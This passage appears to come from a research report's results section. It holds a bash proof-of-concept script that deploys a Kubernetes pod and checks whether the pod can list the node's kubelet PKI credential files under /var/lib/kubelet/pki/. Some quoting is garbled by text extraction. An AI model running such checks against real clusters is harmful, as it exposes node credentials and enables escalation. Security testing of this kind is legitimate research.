kubectl create -f pod -manifest.yaml
echo "Pod␣deployed␣successfully"



Results and Data 59

while [[ $(kubectl get pods poctest -o ’jsonpath ={..
status.conditions [?(@.type ==" Ready")]. status}’) != "
True" ]]; do echo "waiting␣for␣pod" && sleep 1; done

echo "Pod␣ready!"

echo "Testing␣if␣successful"
test=$(kubectl exec poctest -- ls /var/lib/kubelet/pki/)
size=${#test}

if [ "$size" != "0" ]
then

echo "Success!"
echo "We␣got␣files␣back:"
echo "$test"

else
echo "Test␣failed!"

fi
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